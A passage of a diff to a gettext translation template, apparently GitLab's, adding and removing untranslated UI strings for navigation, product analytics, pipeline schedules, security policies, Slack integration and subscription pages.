+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
